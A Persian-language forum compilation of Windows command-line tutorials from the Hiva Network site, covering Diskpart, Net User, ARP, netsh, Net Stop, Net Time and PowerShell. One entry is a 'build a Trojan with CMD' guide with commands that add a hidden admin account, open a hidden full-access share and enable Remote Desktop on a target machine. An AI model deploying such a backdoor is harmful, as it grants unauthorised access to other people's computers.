  16. آموزش دستورات Diskpart – بخش اول همواره در طول تاریخ یکی از حساس ترین و ترسناک ترین کارها در کامپیوتر ، مدیریت هارد دیسک بوده است. پارتیشن بندی ، ??رمت کردن یک پارتیشن ، اتصال دو پارتیشن به هم ، جدا کردن پارتیشن ها از یک دیگر، مدیریت بیش از یک هارد دیسک، دیسک های داینامیک ، دیسک های مجازی ، پنهان کردن یک درایو از دست بیگانگان و ... همه و همه بخشی از مدیریت هارد دیسک می باشند. در همین حوزه بسیاری از نرم ا??زار ها نیز برای آسانتر کردن مدیریت هارد دیسک وارد میدان می شوند. نرم ا??زار هایی مانند Acronis و EaseUS که به احتمال زیاد با آن ها آشنا هستید. یکی دیگر از ابزار های کارا در مدیریت هارد دیسک، Disk Management خود ویندوز است که بدون شک یکی از قدرتمند ترین ابزارهای مدیریت دیسک می باشد، هر چند ممکن است کمتر کاربری از ویژگی های آن آگاه باشد. کار با Disk management از جمله مباحثی است که در دوره MCITP در Configuring Windows 7 در حوزه مدیریت دیسک ها در کلاینت و در Application Infrastructure در حوزه مدیریت دیسک ها در سرور م??صلا بحث می شود. یکی دیگر از قدرتمندترین ابزارهای مایکروسا??ت برای مدیریت دیسک ها Diskpart است که از توانایی ها و مزایای بیشتری نسبت به Disk management برخوردار است و ما در گروه آموزشی هیوا شبکه قصد داریم تا شما را با این ابزار هیجان انگیز و قدرت مند آشنا کنیم . Diskpart چیست ؟ Diskpart یک ابزار خط ??رمان یا به اصطلاح Command-Line ای برای مدیریت دیسک ها و پارتیشن ها است که از Windows 2000 جایگزین fdisk شد. diskpart ابزاری مستقل از CMD است و پوسته یا Shell مختص به خود را دارد هرچند این پوسته شبیه به CMD است. برای درک بهتر موضوع CMD را در حالت عادی ( غیر Administrator ) اجرا کنید. در خط ??رمان عبارت diskpart را تایپ و Enter کنید. خواهید دید که یک پنجره خط ??رمانی جدید برای شما باز می شود که دستورات CMD در آن کار نمی کند. شروع کار با Diskpart همانطور که قبلا گ??تیم Diskpart ابزار قدرتمندی است و درصورتی که کاربر مهارت لازم برای کار با آن را نداشته باشد ، ممکن است باعث آسیب رساندن به دیسک ها و پارتیشن ها و اطلاعات ذخیره شده در آن ها شود. به همین دلیل به طور پیش??رض برخی از قابلیت های Diskpart غیر ??عال است و تنها زمانی ??عال می شوند که در سطح Administrator اجرا شود. برای اجرای Diskpart در سطح Administrator به دو روش می توانید عمل کنید: روش اول : که اکثر کاربران از این روش است??اده می کنند به این صورت است که ابتدا CMD را با Run as Administrator باز کنید و سپس DiskPart را تایپ و Enter کنید. روش دوم: در Start ویندوز DiskPart را جست وجو کنید. پس از آن که DiskPart.exe ظاهر شد آن را با Run as Administrator باز کنید. در صورتی که بخواهید قبل از بالا آمدن سیستم عامل و در محیط Boot از آن است??اده کنید، کامپیوتر تان را با DVD ویندوز یا WinPE بوت کنید. در DVD ویندوز وقتی به بخش انتخاب پارتیشن رسیدید کلیدهای Shift+F10 را بزنید تا CMD باز شود. سپس DiskPart را تایپ کنید. به تصویر زیر توجه کنید: دستورات DiskPart به ترتیب ال??با توجه: برای بکار بردن اغلب ??رمان ها نیاز به ??رمان های جانبی است.در تصاویر این متن آموزشی، ??رمان اصلی با رنگ زرد و ??رمان های جانبی با رنگ سبز مشخص شده اند. توجه2: در صورتی که قصد اجرا و تست دستورات آموزش داده شده در این مقاله را دارید، پیشنهاد می کنیم حتما از نرم ا??زار های مجازی سازی مانند VirtualBox ، Hyper-V یا VMWare و در صورت عدم دسترسی به آن ها از یک ??لش مموری است??اده کنید. تست این دستورات بر روی Disk اصلی کامپیوترتان ممکن است باعث پاک شدن و از دست ر??تن اطلاعات گردد. Active Active کردن یک پارتیشن در یک دیسک Basic به این معناست که Loader کامپیوتر باید از این پارتیشن برای راه اندازی سیستم عامل است??اده کند. به عبارت دیگر به کامپیوتر می ??همانیم که ??ایل های مورد نیاز برای راه اندازی سیستم عامل در این پارتیشن قرار دارد. در صورتی که به روش معمولی ویندوز نصب می کنید ، حتما توجه کرده اید که برای نصب ویندوز 7 یک پارتیشن 100 مگابایتی و برای ویندوز 8 یک پارتیشن 350 مگابایتی به طور خودکار ایجاد می شود. این پارتیشن همان پارتیشنی است که ??ایل های مورد نیاز برای راه اندازی سیستم عامل در آن قرار دارد و همان پارتیشن Active کامپیوتر شماست. در هنگام است??اده از دستور Active به این نکات وجه کنید : 1- برای است??اده از ای دستور به دسترسی سطح Administrator نیاز دارید. 2- ??قط Partition قابل Active کردن می باشد. ( نه Disk و نه Volume ) 3- ??قط پارتیشن های Primary قابل Active کردن هستند. شما نمی توانید پارتیشن های Logical را Active کنید. 4- ??قط یک پارتیشن از هر دیسک قابل Active کردن می باشد. 5- Diskpart صحت محتویات پارتیشنی را که Active می کنید چک نمی کند. بنابراین اگر پارتیشنی که حاوی ??ایل های Startup سیستم عامل نمی باشد را Active کنید، در این صورت ممکن است سیستم عامل شما Start نشود. دقت کنید که قبل از است??اده از دستور Active باید پارتیشن مورد نظر را Select کنید. Select Disk 0 List Partition Select Partition 1 Active ما در اینجا ??قط یک دیسک داریم. برای دیدن تمامی دیسک ها از دستور List Disk است??اده کنید. ADD ازدستور Add برای ایجاد یک Volume از نوع Mirror از است??اده می شود. برای ساخت Volume از نوع Mirror باید تعداد دیسک ها زوج و از نوع Dynamic باشند. برای است??اده از دستور Add باید Volume ای را که می خواهید آن را Mirror کنید Select کنید . سپس دیسک داینامیک دیگر را Add کنید. مانند تصویر زیر : List disk List volume Select volume 0 Select disk 0 Add disk 0 نکته: این ??رمان از ویندوز 7 و ویندوز سرور 2008 به بعد کار می کند. ASSIGN از این دستور برای اختصاص دادن یک Letter یا یک Mount Point به یک Volume است??اده می شود تا بتوان به آن Volume دسترسی داشت. letter یک حر?? انگلیسی است که به عنوان نام آن درایو اختصاص داده شود مثلا درایو C یا D .Mount Point مسیری است که می خواهیم محتویات یک پارتیشن در آن Mount شود. برای اختصاص دادن Letter با حر?? A به یک درایو، ??رمان زیر را وارد کنید: Assign Letter=A با دستور Assign می توان نام درایو ها را تغییر داد، کا??یست List Volume را بزنید تا درایو های خود را ببینید سپس Volume مورد نظر را Select کنید، حال می توانید نامی جدید برای Volume خود انتخاب کنید. منبع : سایت هیوا شبکه
  17. آموزش دستور Net User ??رمان Net User برای ایجاد، تغییر یا حذ?? یک حساب کاربری(User Account) از کامپیوتر خودتان است. قبل از بررسی اولین کاربرد ??رمان Net User ، باید ببینید که چه حساب کاربری هایی روی کامپیوتر شما وجود دارند. CMD را باز کنید و ??رمان Net User را بدون هیچ گزینه دیگری تایپ کنید: Net User پس از ??رمان Net User نام کامپیوتر (HOSEIN-PC) و سپس نام های کاربری لیست می شود. (Administrator , Guest , Hiva , Hosein) کاربرد اول: ایجاد حساب کاربری با است??اده از ??رمان Net User برای ساخت User Account با است??اده از ??رمان Net User ، ساده ترین حالت است??اده از این ??رمان به صورت زیر است: Net User /Add Net User Hiva-2 /Add نام کاربری Hiva-2 با است??اده از ??رمان Net User ایجاد شد. دوباره از ??رمان Net User است??اده می کنیم تا نام های کاربری را دوباره ببینیم. همانطور که در تصویر بالا میبینید حساب کاربری Hiva اضا??ه به لیست User Account ها ا??زوده شده است. ایجاد پسورد برای اکانت های کاربری با است??اده از ??رمان Net User اولین Option در ایجاد حساب کاربری، ا??زودن پسورد است. به دو روش می توانید این کار را انجام دهید. روش اول اینکه در ??رمان Net User بعد از نام کاربری پسورد را وارد کنید(مثلا در تصویر زیر پسورد 123456 است) Net User Hiva-2 123456 /Add در روش دوم در ??رمان Net User به جای پسورد یک ستاره * قرار دهید، در این صورت پس از ایجاد حساب کاربری از شما خواسته می شود تا پسورد را وارد کنید. (این روش امنیت بیشتری دارد) Net User Hiva-2 * /Add در ??رمان Net User می توانید کاربر جدید را از تغییر پسورد منع کنید، تا ??قط از پسوردی که شما برای او تعری?? کرده اید است??اده کند. کا??یست پس از /Add از /PasswordCHG:No است??اده کنید Net User Hiva-2 123456 /Add /PasswordCHG:No اگر ازین Option است??اده نکنید به طور پیش??رض کاربر می تواند پسوردش را تغییر دهد(یعنی /PasswordCHG:Yes) اگر میخواهید کاربر جدید در اولین باری که Log on می شود حتما پسوردش را تغییر دهد در ??رمان Net User از گزینه زیر است??اده کنید : Net User Hiva-2 123456 /Add /LogOnPasswordCHG:Yes به طور پیش??رض LogOnPasswordCHG:NO است. منبع : سایت هیوا شبکه
  18. twinkle

    آموزش دستور arp

    آموزش دستور ARP قبل از آموزش ??رمان ARP ، بهتر است در مورد م??هوم ARP ( Address Resolution Protocol ) توضیح مختصری خدمت شما دوستان و علاقه مندان به شبکه بدهیم. همان طور که می دانید انتقال دیتا در یک شبکه، بر پایه IP است. IP یک شناسه منطقی است و در لایه اینترنت کار می کند . بسته های IP خود در Frame های لایه ??یزیکی قرار می گیرند و سپس درون شبکه ارسال می شوند. اما باید به این نکته توجه کرد که Device ها و Workstation های درون شبکه محلی برای ارتباط با یک دیگر نیازمند دانستن آدرس سخت ا??زاری یک دیگر هستند. این در حالیست که ما از کامپیوتر ها و Device هایی مانند مودم،روتر،پرینتر و .... که در شبکه با آن ها کار می کنیم ??قط IP آن ها را می دانیم در حالی که در عمل به شناسه سخت ا??زاری یا Mac Address آن ها نیاز است ! ارتباط بین دوکامپیوتر در ظاهر به وسیله IP انجام می گیرد ولی در واقعMac Address ها هستند که این ارتباط را برقرار می کنند. سوالی که پیش می آید این است که یک سیستم از کجا آدرس MAC سیستم های دیگری را که می خواهد از طریق شبکه با آنها ارتباط برقرار کند را بیابد؟ پاسخ پروتکل ARP است. ARP مسئول تبدیل IP به Mac Address است. این پروسه از طریق Broadcasting در داخل شبکه انجام می شود.بدین صورت که کامپیوتر ارسال کننده در داخل شبکه ??ریاد میزند که " این آدرس IP متعلق به چی کسی است؟ من آدرس MAC تو را نیاز دارم ! ". این Broadcast به داخل شبکه ??رستاده می شود و همه ی کامپیوتر ها ، data های Broadcast را دریا??ت می کنند .سپس کامپیوتری که آدرس IP ارسال شده متعلق به او می باشد در پاسخ ، آدرس MAC خود را می ??رستد. در نهایت این پروسه با در اختیار قرار دادن آدرس MAC به کامپیوتری که برای ارسال داده های خود نیازمند آن آدرس بود کامل می شود. برای کاهش تعداد Broadcast ها و در نتیجه کاهش ترا??یک شبکه، از یک Client Cache که آدرس ها را برای یک بازه زمانی درون یک جدول نگهداری می کند، است??اده می شود. این جدول(ARP Table یا ARP Cache) هر 120 ثانیه Reresh می شود و تغییرات احتمالی را چک می کند. به این نکته توجه کنید که ARP Table ویندوز را با Mac Address Table سوییچ اشتباه نکنید. Mac Address Table سوئیچ ، مشخص کننده این است که کدام Mac Address به کدام پورت سوئیچ مربوط است که اگر بسته ای به سوئیچ برسد ، Mac Address مقصد آن را می خواند و بسته را بر روی پورت مربوط به آن می ??رستد. دستور ARP با زدن این دستور در خط ??رمان CMD ، لیستی از گزینه های روی میز (سویئچ های) ARP به شما نمایش داده خواهد شد. دستور ARP –a با این دستور می توانید ARP Table مربوط به همه کارت های شبکه را مشاهده کنید. می توانید به جای –a از –g هم است??اده کنید. هر دو دستور ARP –a و دستور ARP –g یک کار را انجام می دهند. ARP -a در اینجا ممکن است این سوال برایتان پیش بیاید که با وجود دستور ARP –a دیگر چه نیازی به ARP –g بود؟ در این صورت باید به شما بگویم که این سوال برای ما هم پیش آمد اما متاس??انه نتوانستیم جوابی برایش پیدا کنیم. در صورتی که جواب این سوال را می دانید خوشحال می شویم آن را با ما هم در میان بگذارید :D منبع : سایت هیوا شبکه
  19. تغییر تنظیمات IP به سادگی یک Run as administrator سلام به همه شما همراهان همیشگی هیوا در این آموزش می خواهیم روشی را به شما آموزش دهیم که به سادگی یک Run as administrator بتوانید تنظیمات IP خاصی را بر روی کامیپوتر قرار دهید اما پیش از آن دو سوال کلیدی مطرح می شود: اصلا چرا باید IP سیستم را تغییر دهیم؟ مگر تغییر دادن IP در سیستم کار سختی است؟ سناریو: من یک لپ تاپ دارم. لپتاپ من 2 کارت شبکه دارد. یک کارت شبکه وایرلس و یک کارت شبکه Ethernet. من در شرکتی کار می کنم که در آن جا IP ها برای مدیریت بهتر کلاینت ها و سرویس های شبکه، به صورت Static تعری?? شده است. دراین شبکه از DHCP است??اده نمی کنیم. من با است??اده از کارت شبکه وایرلس به شبکه شرکت متصل می شوم. تنظیمات IP سیستم من در محل کارم باید به این شکل باشد: خب برای تنظیم کردن این IP Address باید مراحل زیر را طی کنم: Network and Sharing Center >> Click “Local Area Connection??? >> Properties >> TCP/IPv4 وقتی به خانه بر می گردم لپ تاپم را هم با خودم می برم. رنج IP برای اینترنت خانگی 192.168.100.0 است. برای است??اده اینترنت خانگی باید تنظیمات IP را تغییر دهم. خوشبختانه در اینجا DHCP ??عال است. تنها کاری که باید انجام دهم این است که تنظیمات IP سیستمم را بر روی Obtain an IP address Automatically قرار دهم. اما برای همین تغییر هم باید مراحل بالا را طی کنم! خب حالا من این کار را باید هر روز انجام دهم! بر اساس سناریو بالا می بینید که در بسیاری از مواقع برای دستگاه های قابل حمل تنظیمات IP باید تغییر کند. همینطور دیدید که برای اعمال تغییرات چه راه طولانی ای را باید طی کنید. خب من برای اینکه در مصر?? "وقت" و "کلیک" صر??ه جویی کنم از راه حل زیر کمک گر??تم: پیکربندی IP با است??اده از ??رمان netsh برای set کردن IP برای Connection ای با نام Wi-Fi به کمک ??رمان netsh باید به روش زیر عمل کنیم: netsh interface ip set address "Wi-Fi" static 192.168.100.19 255.255.255.0 اختصاص Default Gateway به کمک netsh در صورتی که بخواهیم آدرس Default Gateway را هم بدهیم کا??یست در انتهای ??رمان بالا IP آن را وارد کنیم: منبع : سایت هیوا شبکه
  20. آموزش دستور Net Stop از دستور Net Stop برای متوق?? کردن سرویس های در حال اجرا است??اده می شود.هم سرویس های ویندوز و هم سرویس های نرم ا??زار های دیگر را می توان با است??اده از دستور Net Stop متوق?? کرد.نکته ای که در هنگام کار با این ??رمان باید رعایت کنید این است که بسیار آگاهانه و با احتیاط ازاین ??رمان است??اده کنید چون بعضی از سرویس ها پیش نیاز سرویس های دیگری هستند و اگر غیر ??عال شوند ممکن است سرویس های دیگری را هم غیر ??عال کنند. تقریبا هر سرویسی را می توان با است??اده از دستور Net Stopمتوق?? کرد بجز سرویس هایی که در تصویر زیر می بینید: برای است??اده از دستور Net Stop ??قط کا??یست نام سرویس را بدانید: برای مثال یکی از سرویس های نرم ا??زار Folder Lock ، FLservice است که درتصویر زیر این سرویس را غیر ??عال کرده ایم: نکته: اگر نام سرویس از چند کلمه تشکیل شده که بین آنها ??اصله است(مثلا سرویس Computer Browser) حتما باید داخل " " نوشته شود. "Net Stop “computer browser منبع : هیوا شبکه
  21. ت??اوت IDE، ATA، SATA و SCSI به روایت تصویر... سلام به همه شما دوستان و همراهان همیشگی هیوا در این آموزش می خواهیم با استاندارهای IDE، ATA، SATA و SCSI بیشتر آشنا شویم و ویژگی های هر کدام را بیشتر بشناسیم. البته این آشنایی بیشتر به صورت تصویر خواهد بود و توضیحات تخصصی تر به صورت جدول و یا متن های کوتاه بیان خواهد شد. تصاویری که در ادامه می بینید از کابل ها و Device هایی است که دارای interface مربوطه هستند. دیدن تصاویر، به ا??رادی که دارای ناراحتی های قلبی، دارای روحیه لطی?? و یا سن کمتر از 5 سال هستند توصیه نمی شود (جهت با دقیقتر نگاه کردن مخاطب !) IDE و ATA Integrated Drive Electronics یا IDE استانداردی برای interface است. هارد یسک ها، ??لاپی درایو ها و CD/DVD Drive های قدیمی از این نوع رابط بهره می بردند. ATA یا Advanced Technology Attachment در واقع همان IDE است با کمی تغییرات. از لحاظ ظاهری ت??اوتی با هم ندارند و می توان یک هارد دیسک با رابط ATA را هارددیسک از نوع IDE حساب کرد. مادربرد با سوکت ATA/IDE و کابل ATA/IDE ATA مدام توسعه پیدا کرد و دارای نسخه های ATA 1 تا نسخه ATA 7 است که به ATA 7 آن Ultra ATA-133 هم می گویند. از ویژگی های UATA 133 امکان انتقال اطلاعات با سرعت 133 MB/s است. DVD Drive و هارد دیسک از نوع ATA/IDE SATA SATA یا Serial ATA نوع جدیدی از ATA است که به صورت Serial اطلاعات را منتقل می کند. با رو نمایی از SATA به عنوان Serial ATA، نام ATA به PATA یا Parallel ATA تغییر نام پیدا کرد. بنابراین هرجا PATA دیدید منظور همان IDE/ATA سابق است! منبع : سایت هیوا شبکه
  22. آموزش کامل دستور Net Time امروز قصد داریم یک ??رمان کوتاه و جالب از سری ??رمان های Net را به شما دوستان و علاقه مندان به شبکه و دستورات خط ??رمان آموزش دهیم. دستور Net Time با است??اده از این دستور می توانید ساعت و تاریخ کامپیوتر ها و Domain های دیگر را ببینید و در صورتی که نیاز داشته باشید ساعت و تاریخ کامپیوترتان را با آن Domain یا کامپیوتر تنظیم کنید. اما قبل از اینکه به نحوه است??اده از دستور Net Time بپردازیم ، شما را به خواندن خاطره دعوت می کنیم که بی ربط به موضوع مورد بحث ما نیست و ممکن است برای شما هم خاطره شده باشد ، یا در حال خاطره شدن برای شما باشد و یا قرار است در آینده برای شما خاطره شود : "خدایا شکرت الهی خدا خیرت بده گوگل کروم تو بهترین مرورگر دنیایی یه ضرب المثل هست که میگه : آب در کوزه و ما تشنه لبان میگردیم !!! حدود سه ه??ته بود که در لپ تاپم با همه مرور گرام مشکل داشتم هیچ سایت https رو نمیتونستم درست باز کنم مدام SSL Error میداد ( تصاویر زیر) ویندوز عوض کردم از VMWare است??اده کردم از Prok C است??اده کردم Prok C رو عوض کردم کان??یگای internet option رو عوض کردم با پشتیبانی ISP تماس گر??تم حتی داشتم اون ها رو قانع می کردم که مشکل از ISP هست! ISP عوض کردم (با متصل کردن لپ تاپ به خط اینترنتی که مربوط به ISP دیگری بود ! ) کل سیستممو با سه تا آنتی ویروس آپدیت اسکن کردم درست نشد که نشد دیگه اشکم درومده بود و داشتم نامه ای به رییس جمهور می نوشتم در خصوص حل این مشکل ! سرتونو درد نیارم !!!!! آقا یه بار که "با دقت" ! ( اکیدا تاکید می کنم !!) با دقت Error ها رو خوندم ناگهان دیدم : دیدم کروم میگه تنظیمات ساعت و تاریخ سیستمت درست نیست ! شاید مشگل این باشه !! کورسوی امید در قلبمجوانه زد ! تنظیمات رو بررسی کردم... آقا Location ویندوزروی کانادا بود و تاریخ یک سال قبل ! ساعت که دیگه بماند !!! تنظیماتو درست کردم !! حالا باید روی دکمه refresh کیلیک میکردم ! استرس داشتم.... دستم می لرزید .... کلیک کردم !!! و..... خدایاااااااااااا شکرت درست شد !!! خدایا شکرت. گوگل کروم تو بهترین و عزیزترین مرورگر جهانی (البته بعد از اوپرا و موزیلا) جات همیشه توی درایو E پوشه ی Browsers خواهد بود. دوست دارم " بله دوستان ! از این خاطره چند درس گر??تیم ! 1- در صورت مواجه با خطا و اشکال حتما به پیغام های خطا دقت کنیم و با دقت آن ها را بخوانیم و نخوانده بر روی OK کلیک نکنیم. 2- موقع نصب ویندوز وقتی به تنظیمات مربوط به ساعت و تاریخ می رسیم به سرعت Next نزنیم و تنظیمات را درست انجام دهیم. 3- تنظیمات زمان و تاریخ اهمیت بالایی در شبکه و است??اده از منابع شبکه دارد. حالا که تا حدودی به اهمیت پیکربندی درست زمان و تاریخ در شبکه آشنا شدیم ، به چگونگی کار با دستور Net Time می پردازیم. چگونگی است??اده از دستور Net Time : برای مشاهده تنظیمات ساعت و تاریخ یک کامپیوتر در شبکه Workgroup به روش زیر عمل می کنیم : در مثال زیر ما این دستور را این گونه وارد کردیم : Net time \\MyHiva منبع : سایت هیوا شبکه
  23. آموزش ساخت Trojan با ??رمان های CMD سلام به همه شما دوستان و همراهان همیشگی هیوا در این آموزش، می خواهیم با ??رمان های CMD یک Trojan ساده و بی درد سر بسازیم. تروجان ما ??قط یک سری اطلاعات را برای ما جمع آوری می کند و راه دسترسی به آن اطلاعات و اطلاعات دیگر را هم ??راهم می کند. اگر دوست داشتید می توانید کارهای بیشتری را بر دوش این تروجان بگذارید. کل کارهایی که تروجان کوچولوی ما انجام می دهد به قرار زیر است: تروجان ما چه کارهایی انجام می دهد؟ ایجاد یک User جدید با دسترسی Admin در کامپیوتر هد?? ایجاد یک پوشه مخ??ی در درایو ویندوز و Share کردن آن به صورت مخ??ی با دسترسی User جدید. ??عال کردن Sharing ??عال سازی قابلیت Remote Desktop در کامپیوتر هد?? خاموش کردن Password Protected File Sharing خاموش کردن ??ایروال جمع آوری اطلاعات کامپیوتر شامل موارد زیر: IP ،Computer Name ، MAC Address ، لیست کاربران، لیست منابع Share شده و انتقال آن ها به پوشه share شده در درایو ویندوز با نام همان کامپیوتر لیست برنامه های نصب شده و ورژن آن در کامپیوتر هد?? قبل از شروع: مواردی که در این مقاله گ??ته شده ??قط جنبه آموزشی دارد و است??اده نادرست از آن به عهده کاربر است. در این آموزش ??قط از ??رمان های CMD است??اده شده و از هیچ زبان برنامه نویسی و ابزار خاصی است??اده نشده است. شروع ساخت Trojan یک ??ایل Text ایجاد کنید و ??رمان های زیر را در آن بنویسید: 1 – ایجاد یک User جدید با دسترسی Admin Net user iman 123456 /add Net localgroup administrators iman /add 2 – ال?? - ایجاد یک پوشه مخ??ی در درایو ویندوز Mkdir c:\Hiva-folder :C \cd attrib hiva-folder +h 2 – ب – Share کردن آن پوشه به صورت مخ??ی net share trojan-share$=c:\hiva-folder /grant:iman,full /grant:everyone,full 3 – ??عال کردن File and Printer Sharing netsh firewall set service type = fileandprint mode =enable 4 – ??عال کردن Remote Desktop در کامپیوتر هد?? netsh advfirewall firewall set rule group="remote desktop" new enable=Yes reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 5 – به عهده شما ! ( می توانید این مورد را حذ?? کنید ) منبع : سایت هیوا شبکه
  24. ??رمان های CMD و معادل آن ها در PowerShell سلام به همه شما دوستان و همراهان همیشگی هیوا یکی از بهترین روش ها برای آشنایی با خط ??رمان PowerShell و دوست شدن با آن، است??اده از ??رمان های CMD در PowerShell است. یعنی مثلا به جای اینکه برای Ping کردن یک کلاینت در شبکه از CMD است??اده کنید، از PowerShell است??اده کنید. اما پس از این که با PowerShell دوست شدید، لازم است که شناخت بیشتری از آن به دست آورید. در این آموزش : معادل پاورشلی چندتا از ??رمان های CMD را یاد می گیرید. یاد می گیرید چطور از PowerShell درخواست کمک کنید. با یکی از قابلیت های خیلی خیلی جالب و کاربردی PowerShell آشنا می شوید! قبل از شروع قبل از شروع خوب است که با ورژن های مختل?? پاورشل آشنا شوید. آشنایی با ورژن های مختل?? پاورشل باعث می شود با پاورشل بیشتر دوست شوید و این آموزش برای شما کاربردی تر شود. اگر از قبل با آن ها آشنا هستید که چه خوب! و اگر آشنایی ندارید شما را به خواندن آموزش کوتاه " PowerShell چه ورژن هایی دارد؟ " دعوت می کنم! شروع خب حالا برای شروع، خط ??رمان PowerShell را باز کنید و سپس ادامه آموزش را دنبال کنید. ??رمان Set-Location معادل cd ??رمان cd در CMD برای تغییر مسیر درون یک Volume یا Drive است??اده می شود و مخ???? Change Directory است. Set-Location Hiva\Articles\PowerShell Set-location .. Set-Location \ ??رمان Get-Childitem معادل ??رمان dir و ls ??رمان dir در CMD و ??رمان ls (ال اس) در لینوکس، لیست محتویات درون مسیر ??علی را نمایش می دهد. Get-Childitem Get-Chiditem –Attributes hidden Get-Childitem –force ??رمان gci ، نام مستعار یا Alias Name برای ??رمان Get-Childitem است. یعنی به جای است??اده از ??رمان Get-Childitm می توانیم از gci است??اده کنیم. ??رمان Clear معادل CLS ??رمان CLS در CMD، ص??حه را تمیز می کند و مخ???? Clear Screen است. ??رمان Get-NetAdapter معادل GetMac ??رمان GetMac برای دیدن MAC Address ها است??اده می شود. Get-NetAdapter نکته: ??رمان Get-NetAdapter در PowerShell 3.0 به بالا وجود دارد. ??رمان Get-NetIPConfiguration معادل IPConfig ??رمان IPConfig در CMD، اطلاعات Interface ها و تنظیمات IP را نمایش می دهد. Get-NetIPConfiguration Get-NetIPConfiguration –detailed ??رمان gipنام مستعار این ??رمان است. یعنی به جای است??اده از ??رمان Get-NetIPConfiguration می توان ??رمان gip را به کار برد. نکته: ??رمان Get-NetIPConfiguration –detailed معادل ??رمان IPConfig /all است. نکته: این ??رمان در PowerShell 3.0 به بالا وجود دارد. ??رمان Test-Connection معادل Ping ??رمان Ping از دوستان قدیمی ماست و نیازی به معر??ی ندارد! Test-Connection Hiva-Network.com Test-Connection 8.8.8.8 Test-Connection Hivanet-PC از امکانات جالب ??رمان Test-Connection این است که می توانیم چندین مقصد را همزمان با هم Ping کنیم به صورت زیر: Test-Connection Hiva-Network.com , 8.8.8.8 , hivanet-PC منبع : سایت هیوا شبکه
  25. twinkle

    PowerShell چیست؟

    با عرض سلام و وقت بخیر خدمت تمامی دوستان و علاقه مندان به شبکه . در این مقاله قصد داریم شما را با Windows PowerShell یکی از ابزارهای قدرتمند اجرایی ویندوز یا Administrative tool که بسیار هم م??ید است آشنا کنیم. اما PowerShell چیست؟ PowerShell تقریبا همان Command Prompt (خودمان) است با کمی ت??اوت ??راوان! شاید این ساده ترین تعری??ی باشد که می توان در مورد PowerShell بیان کرد. در این مقاله ممکن است با تعاری?? پیچیده ای روبرو شویم پس بهتر است برای این که توضیحات این مقاله را بهتر درک کنیم باهم کارهای ساده زیر را انجام می دهیم: 1- از ص??حه کلید دکمه های Win+R را ??شار دهید تا پنجره Run باز شود. 2- عبارت CMD را تایپ Enter کنید! 3- دوباره Win+R را ??شار دهید. 4- عبارت PowerShell را تایپ و Enter کنید. 5- هر دو پنجره را کنار هم قرار دهید و عبارت IPconfig را در هر دو تایپ و Enter کنید. 6- عبارت CLS را تایپ و Enter کنید تا ص??حه تمیز شود. 7- عبارت Color A را تایپ و Enter کنید تا رنگ نوشته عوض شود. رنگ متن در CMD سبز خواهد شد (علاقه مندان به ماتریکس !!!) 8- در PowerShell به خطا برخوردید ! 9- عبارت get-Command را در هر دو تایپ و Enter کنید! 10- در CMD به خطا برخوردید ! 11- نوشته های داخل CMD و PowerShell را کپی کنید! در CMD شما باید بر روی ص??حه راست کلیک کنید و عبارت Mark را کلیک کنید و متن مورد نظر را Select کنید، سپس دوباره راست کلیک کنید و عبارت را Copy و در نهایت با راست کلیک کردن و Paste کردن کار خود را خاتمه دهید. در PowerShell کا??یست متن مورد نظر را با موس Select کنید با راست کلیک کردن، متن به طور خودکار کپی می شود. با راست کلیک کردن مجدد ، متن به طور خودکار Paste خواهد شد. منبع : سایت هیوا شبکه
×
×
  • جدید...